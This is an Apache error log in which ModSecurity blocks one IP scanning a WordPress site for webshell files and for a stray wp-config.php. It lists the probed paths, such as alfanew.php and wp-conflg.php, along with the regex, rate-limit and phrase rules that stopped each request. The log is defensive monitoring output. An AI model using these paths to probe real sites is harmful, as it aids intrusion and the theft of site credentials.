[Mon Nov 24 02:25:11.306696 2025] [:error] [pid 1589:tid 1598] [client 52.236.123.156:47616] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSNRh4I2fvripjU0EauPygAAAUc"]
[Mon Nov 24 02:25:21.055478 2025] [proxy_fcgi:error] [pid 1454:tid 1525] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:21.312589 2025] [proxy_fcgi:error] [pid 1454:tid 1531] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:21.969784 2025] [proxy_fcgi:error] [pid 1454:tid 1534] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:22.239236 2025] [proxy_fcgi:error] [pid 1454:tid 1518] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:22.505656 2025] [proxy_fcgi:error] [pid 1454:tid 1529] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:23.348248 2025] [proxy_fcgi:error] [pid 1454:tid 1512] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:23.617916 2025] [proxy_fcgi:error] [pid 1454:tid 1520] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:24.148740 2025] [proxy_fcgi:error] [pid 1454:tid 1535] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:24.407928 2025] [proxy_fcgi:error] [pid 1454:tid 1526] [client 52.236.123.156:58667] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:25:24.658599 2025] [:error] [pid 1454:tid 1519] [client 52.236.123.156:58667] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSNRlLeh4NH3skJ5n4SF1QAAAMc"]
[Mon Nov 24 02:25:27.491944 2025] [:error] [pid 1453:tid 1486] [client 52.236.123.156:63086] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSNRlxUBCt7LU0bO_GBf-AAAAII"]
[Mon Nov 24 02:25:29.729978 2025] [:error] [pid 1452:tid 1458] [client 52.236.123.156:48878] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSNRmRKZkEEyVNVXr_nUtAAAAEE"]
[Mon Nov 24 02:25:31.997857 2025] [:error] [pid 1453:tid 1503] [client 52.236.123.156:48834] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSNRmxUBCt7LU0bO_GBgAQAAAJI"]
[Mon Nov 24 02:25:38.298163 2025] [:error] [pid 8337:tid 8354] [client 52.236.123.156:48875] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aSNRouSmps4S2j95D5iV-wAAAA8"]
[Mon Nov 24 02:25:40.605290 2025] [:error] [pid 8337:tid 8355] [client 52.236.123.156:48848] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aSNRpOSmps4S2j95D5iWAAAAABA"]
[Mon Nov 24 02:25:42.535803 2025] [:error] [pid 1589:tid 1598] [client 52.236.123.156:48869] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aSNRpoI2fvripjU0EauQDQAAAUc"]
[Mon Nov 24 02:25:44.327286 2025] [:error] [pid 1453:tid 1495] [client 52.236.123.156:63641] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aSNRqBUBCt7LU0bO_GBgDQAAAIo"]
[Mon Nov 24 02:25:45.339231 2025] [:error] [pid 8337:tid 8354] [client 52.236.123.156:47699] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/multi.php"] [unique_id "aSNRqeSmps4S2j95D5iWBwAAAA8"]
[Mon Nov 24 02:26:29.359412 2025] [proxy_fcgi:error] [pid 1452:tid 1460] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:29.890991 2025] [proxy_fcgi:error] [pid 1452:tid 1475] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:30.145171 2025] [proxy_fcgi:error] [pid 1452:tid 1464] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:30.400731 2025] [proxy_fcgi:error] [pid 1452:tid 1466] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:31.169642 2025] [proxy_fcgi:error] [pid 1452:tid 1472] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:31.682034 2025] [proxy_fcgi:error] [pid 1452:tid 1476] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:32.313784 2025] [proxy_fcgi:error] [pid 1452:tid 1469] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:32.585511 2025] [proxy_fcgi:error] [pid 1452:tid 1478] [client 52.236.123.156:45256] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:26:32.896274 2025] [:error] [pid 1452:tid 1465] [client 52.236.123.156:45256] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sim.php"] [unique_id "aSNR2BKZkEEyVNVXr_nVIwAAAEg"]
[Mon Nov 24 02:26:36.694890 2025] [:error] [pid 1453:tid 1508] [client 52.236.123.156:64341] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sim.php"] [unique_id "aSNR3BUBCt7LU0bO_GBgLwAAAJc"]
[Mon Nov 24 02:26:38.340123 2025] [:error] [pid 1454:tid 1522] [client 52.236.123.156:63626] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sim.php"] [unique_id "aSNR3reh4NH3skJ5n4SGTwAAAMo"]
[Mon Nov 24 02:26:39.330364 2025] [:error] [pid 8337:tid 8355] [client 52.236.123.156:45211] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sim.php"] [unique_id "aSNR3-Smps4S2j95D5iWVgAAABA"]
[Mon Nov 24 02:26:42.041747 2025] [:error] [pid 1453:tid 1496] [client 52.236.123.156:45230] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSNR4hUBCt7LU0bO_GBgMgAAAIs"]
[Mon Nov 24 02:26:43.702423 2025] [:error] [pid 1452:tid 1467] [client 52.236.123.156:64337] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSNR4xKZkEEyVNVXr_nVMwAAAEo"]
[Mon Nov 24 02:26:47.653539 2025] [:error] [pid 1453:tid 1499] [client 52.236.123.156:63638] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSNR5xUBCt7LU0bO_GBgNQAAAI4"]
[Mon Nov 24 02:26:49.838385 2025] [:error] [pid 1589:tid 1596] [client 52.236.123.156:47736] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSNR6YI2fvripjU0EauQQAAAAUU"]
[Mon Nov 24 02:26:51.368760 2025] [:error] [pid 1453:tid 1489] [client 52.236.123.156:64370] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNR6xUBCt7LU0bO_GBgOwAAAIU"]
[Mon Nov 24 02:26:52.777226 2025] [:error] [pid 1453:tid 1490] [client 52.236.123.156:45766] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNR7BUBCt7LU0bO_GBgPQAAAIY"]
[Mon Nov 24 02:26:54.947830 2025] [:error] [pid 8337:tid 8358] [client 52.236.123.156:64343] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNR7uSmps4S2j95D5iWXwAAABM"]
[Mon Nov 24 02:26:57.574265 2025] [:error] [pid 1589:tid 1612] [client 52.236.123.156:48317] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNR8YI2fvripjU0EauQYQAAAVU"]
[Mon Nov 24 02:27:00.757334 2025] [:error] [pid 1453:tid 1486] [client 52.236.123.156:31865] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aSNR9BUBCt7LU0bO_GBgQwAAAII"]
[Mon Nov 24 02:27:08.433766 2025] [:error] [pid 8337:tid 8343] [client 52.236.123.156:57394] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aSNR_OSmps4S2j95D5iWcgAAAAQ"]
[Mon Nov 24 02:27:22.146562 2025] [:error] [pid 8337:tid 8342] [client 52.236.123.156:53153] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSNSCuSmps4S2j95D5iWfQAAAAM"]
[Mon Nov 24 02:27:26.995416 2025] [:error] [pid 1452:tid 1479] [client 52.236.123.156:49629] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSNSDhKZkEEyVNVXr_nVUAAAAFY"]
[Mon Nov 24 02:27:27.935717 2025] [:error] [pid 1453:tid 1500] [client 52.236.123.156:49642] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSNSDxUBCt7LU0bO_GBgWgAAAI8"]
[Mon Nov 24 02:27:28.913808 2025] [:error] [pid 1452:tid 1473] [client 52.236.123.156:60040] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSNSEBKZkEEyVNVXr_nVUgAAAFA"]
[Mon Nov 24 02:27:32.672421 2025] [proxy_fcgi:error] [pid 1454:tid 1533] [client 52.236.123.156:58708] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:32.927437 2025] [:error] [pid 1454:tid 1534] [client 52.236.123.156:58708] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSNSFLeh4NH3skJ5n4SGmwAAANY"]
[Mon Nov 24 02:27:34.985787 2025] [proxy_fcgi:error] [pid 1454:tid 1514] [client 52.236.123.156:60070] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:35.507726 2025] [proxy_fcgi:error] [pid 1454:tid 1535] [client 52.236.123.156:60070] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:35.769535 2025] [proxy_fcgi:error] [pid 1454:tid 1518] [client 52.236.123.156:60070] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:36.329596 2025] [:error] [pid 1454:tid 1525] [client 52.236.123.156:60070] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSNSGLeh4NH3skJ5n4SGowAAAM0"]
[Mon Nov 24 02:27:38.450260 2025] [proxy_fcgi:error] [pid 8337:tid 8350] [client 52.236.123.156:63707] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:38.705136 2025] [proxy_fcgi:error] [pid 8337:tid 8360] [client 52.236.123.156:63707] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:38.965233 2025] [proxy_fcgi:error] [pid 8337:tid 8354] [client 52.236.123.156:63707] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:39.852152 2025] [proxy_fcgi:error] [pid 8337:tid 8345] [client 52.236.123.156:63707] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:27:40.123342 2025] [:error] [pid 8337:tid 8342] [client 52.236.123.156:63707] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSNSHOSmps4S2j95D5iWnQAAAAM"]
[Mon Nov 24 02:27:44.000364 2025] [:error] [pid 1454:tid 1514] [client 52.236.123.156:63704] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/po.php"] [unique_id "aSNSH7eh4NH3skJ5n4SGsQAAAMI"]
[Mon Nov 24 02:27:45.315203 2025] [:error] [pid 1589:tid 1604] [client 52.236.123.156:49572] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/po.php"] [unique_id "aSNSIYI2fvripjU0EauQkgAAAU0"]
[Mon Nov 24 02:27:50.764653 2025] [:error] [pid 8337:tid 8348] [client 52.236.123.156:32624] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/po.php"] [unique_id "aSNSJuSmps4S2j95D5iWowAAAAk"]
[Mon Nov 24 02:27:52.130124 2025] [:error] [pid 1452:tid 1462] [client 52.236.123.156:32151] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/po.php"] [unique_id "aSNSKBKZkEEyVNVXr_nVaQAAAEU"]
[Mon Nov 24 02:27:53.162887 2025] [:error] [pid 1452:tid 1481] [client 52.236.123.156:32606] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zews.php"] [unique_id "aSNSKRKZkEEyVNVXr_nVbAAAAFg"]
[Mon Nov 24 02:28:04.059651 2025] [:error] [pid 8337:tid 8343] [client 52.236.123.156:32424] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zews.php"] [unique_id "aSNSNOSmps4S2j95D5iWsQAAAAQ"]
[Mon Nov 24 02:28:07.766964 2025] [:error] [pid 1454:tid 1524] [client 52.236.123.156:31913] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNSN7eh4NH3skJ5n4SGzgAAAMw"]
[Mon Nov 24 02:28:09.290733 2025] [:error] [pid 8337:tid 8352] [client 52.236.123.156:63016] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNSOeSmps4S2j95D5iWtgAAAA0"]
[Mon Nov 24 02:28:10.658940 2025] [:error] [pid 1452:tid 1464] [client 52.236.123.156:31877] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNSOhKZkEEyVNVXr_nViQAAAEc"]
[Mon Nov 24 02:28:12.604466 2025] [:error] [pid 1452:tid 1475] [client 52.236.123.156:63008] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNSPBKZkEEyVNVXr_nVigAAAFI"]
[Mon Nov 24 02:28:14.608999 2025] [:error] [pid 1452:tid 1458] [client 52.236.123.156:46421] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNSPhKZkEEyVNVXr_nVjgAAAEE"]
[Mon Nov 24 02:28:16.120241 2025] [:error] [pid 1589:tid 1600] [client 52.236.123.156:46455] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNSQII2fvripjU0EauQsQAAAUk"]
[Mon Nov 24 02:28:17.911300 2025] [:error] [pid 8337:tid 8347] [client 52.236.123.156:46438] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNSQeSmps4S2j95D5iWxAAAAAg"]
[Mon Nov 24 02:28:21.713895 2025] [:error] [pid 8337:tid 8344] [client 52.236.123.156:64976] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNSReSmps4S2j95D5iWygAAAAU"]
[Mon Nov 24 02:28:25.556798 2025] [:error] [pid 1589:tid 1591] [client 52.236.123.156:32714] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets/js/wp-config.php"] [unique_id "aSNSSYI2fvripjU0EauQswAAAUA"]
[Mon Nov 24 02:28:30.822370 2025] [:error] [pid 1452:tid 1478] [client 52.236.123.156:60128] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Js.php"] [unique_id "aSNSThKZkEEyVNVXr_nVkgAAAFU"]
[Mon Nov 24 02:28:35.290569 2025] [:error] [pid 1589:tid 1596] [client 52.236.123.156:60132] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Js.php"] [unique_id "aSNSU4I2fvripjU0EauQvgAAAUU"]
